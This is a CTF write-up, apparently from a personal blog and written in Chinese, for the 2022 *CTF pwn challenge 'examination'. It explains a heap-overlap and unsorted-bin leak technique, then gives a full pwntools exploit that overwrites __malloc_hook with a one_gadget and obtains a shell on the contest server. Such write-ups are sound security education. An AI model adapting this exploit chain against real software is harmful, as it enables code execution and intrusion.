839 字
4 分钟
阅读量 --
Hits
[2022*CTF] Pwn examination wp
2022-04-19

题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-04_%2ACTF/examination.zip

解题#

角色扮演的 pwn 题,可以切换学生和老师

发现了好多漏洞,估计是考漏洞的利用,当然解法可能就不止一种

主要利用的漏洞:无符号数减法负数溢出,student role 下的 set mode 中可以修改内存中的指针导致堆块堆叠

只用到一次 free

思路,构造一个 mode chunk 使得这个 chunk 在 comment chunk1 的上方,以及另一个 comment chunk2 在其下方,然后 pray 一下,将指针下移 16 个字节,使得可以操控 comment chunk 的 size 位置,修改 size 为 0x421 绕过 tcache,释放到 unsorted bin,同时布置好 comment chunk2 的中伪造一个 size 位置,这个时候重新在分配一个和 comment chunk1 大小相同的 commend chunk 就会切割 unsorted bin,使得 main_arena 的地址向后推移,写入 comment chunk2,这个时候 read comment chunk2 就能够泄露 libc 基址,同样的手法,再 add student,分配的 student node 和 test node 都会切割 unsorted bin 中的块,这个时候切割的 unsorted bin 就是之前堆块堆叠导致的 comment chunk2,那我们就能够控制 student node 和 test node,修改 test node 中的 comment 地址__malloc_hook,再向 malloc_hook 中写入 ogg,再调用 teacher role 的 pray,就能够 getshell

image-20220419112429213

image-20220419112443070

Exp#

from pwn import *
context.log_level='debug'
# io = process(['./ld-2.31.so', './examination'], env={'LD_PRELOAD':'./libc-2.31.so'})
io = remote('124.70.130.92', 60001)
roleg = 0
idg = -1
lazy_map = {}
reward_map = {}
def change_role(role):
global roleg, idg
roleg = role
if role == 0:
idg = -1
io.sendlineafter('choice>> ', '5')
io.sendlineafter('role: <0.teacher/1.student>: ', str(role))
def t_addstu(quesqtion_num):
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '1')
rt = io.recv(5)
if 'enter' in rt:
io.sendlineafter('questions: ',str(quesqtion_num))
else:
print rt
def t_getshell():
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '6')
def t_givescore():
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '2')
io.recvuntil('marking testing papers.....\n')
rt = io.recvuntil('finish\n', drop=True)
rt = rt.strip().split('\n')
def f(ss):
ss = ss.replace('score for the ', '')
# print(ss)
a = int(ss[:ss.find('th')])
b = int(ss[ss.find('is ')+3:])
return (a, b)
ans = []
# print(rt)
for sr in rt:
# print(sr)
if 'b@d!' in sr:
continue
# print sr
ans.append(f(sr))
return ans
def t_comment(_id, comment, size):
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '3')
io.sendlineafter('which one? > ', str(_id))
rt = io.recv(5)
if 'pleas' in rt:
io.sendlineafter('size of comment: ', str(size))
io.sendlineafter('ur comment:\n', comment)
def t_free(_id):
(lambda x: (change_role(x) if roleg != x else 0))(0)
io.sendlineafter('choice>> ', '4')
io.sendlineafter('which student id to choose?\n', str(_id))
lazy_map[_id] = 0
reward_map[_id] = 0
def s_change_id(_id):
global idg
(lambda x: (change_role(x) if roleg != x else 0))(1)
io.sendlineafter('choice>> ', '6')
io.sendlineafter('input your id: ', str(_id))
idg = _id
def s_pray(_id):
(lambda x: (change_role(x) if roleg != x else 0))(1)
(lambda x: (s_change_id(x) if idg != x else 0))(_id)
io.sendlineafter('choice>> ', '3')
lazy_map[_id] = 1 - lazy_map.get(_id, 0)
def s_set_mode(_id, mode):
(lambda x: (change_role(x) if roleg != x else 0))(1)
(lambda x: (s_change_id(x) if idg != x else 0))(_id)
io.sendlineafter('choice>> ', '4')
rt = io.recvuntil('\n')
if 'mode' in rt:
io.sendline(mode)
else:
io.sendline(str(mode))
def s_check_review(_id, to_reward, fx, has_comment, tf=lambda x: x):
if reward_map.get(_id, 0) == 1:
return
if to_reward:
s_pray(_id)
while True:
tmp = t_givescore()
tmp = dict(tmp)
assert _id in tmp
if tmp[_id] < 10:
break
(lambda x: (change_role(x) if roleg != x else 0))(1)
(lambda x: (s_change_id(x) if idg != x else 0))(_id)
io.sendlineafter('choice>> ', '2')
if to_reward:
io.recvuntil('Good Job! Here is your reward! ')
target_addr = int(io.recvuntil('\n', drop=True), 16)
tf(target_addr)
target_addr = fx(target_addr)
io.sendafter('add 1 to wherever you want! addr: ', str(target_addr))
reward_map[_id] = 1
if has_comment:
io.recvuntil('here is the review:\n')
io.sendlineafter('role: <0.teacher/1.student>: ', str(roleg))
for i in range(7):
t_addstu(9)
# t_comment(6, 'sss', )
# s_set_mode(3, 'asdf')
s_set_mode(4, 'asdf')
s_set_mode(5, 'asdf')
t_comment(6, 'sss', 0x300)
t_comment(5, 'a'*0x100+p64(0)+p64(0x201), 0x300)
s_pray(5)
s_set_mode(5, 32)
s_pray(5)
s_set_mode(5, 'q'*8 + p64(0x421))
t_free(6)
t_comment(4, 'sss', 0x300)
s_check_review(5, False, null, True)
main_arena = u64(io.recv(8)) - 96
libc_base = main_arena - 0x00001ECB80
log.success("libc_base: " + hex(libc_base))
t_addstu(1)
t_comment(6, 'sss', 0x300)
heap_addr = 0
def ftmp(addr):
global heap_addr
heap_addr = addr
s_check_review(6, True, lambda x: x-0x10, True, ftmp)
log.success('heap_addr: ' + hex(heap_addr))
libc = ELF('./libc-2.31.so')
malloc_hook = libc.sym['__malloc_hook'] + libc_base
p = p64(heap_addr+0x30) + p64(0)*2 + p64(0x100000001) + p64(0) + p64(0x21) + p64(0x100000001) + p64(malloc_hook) + p64(8)
t_comment(5, p, 0x300)
ogg = [0xe3b2e, 0xe3b31, 0xe3b34]
t_comment(6, p64(ogg[1]+libc_base), 0x300)
t_getshell()
# gdb.attach(io)
io.interactive()
[2022*CTF] Pwn examination wp
https://blog.csome.cc/p/xinCTF-pwn-wp/
作者
Csome
发布于
2022-04-19
许可协议
CC BY-SA 3.0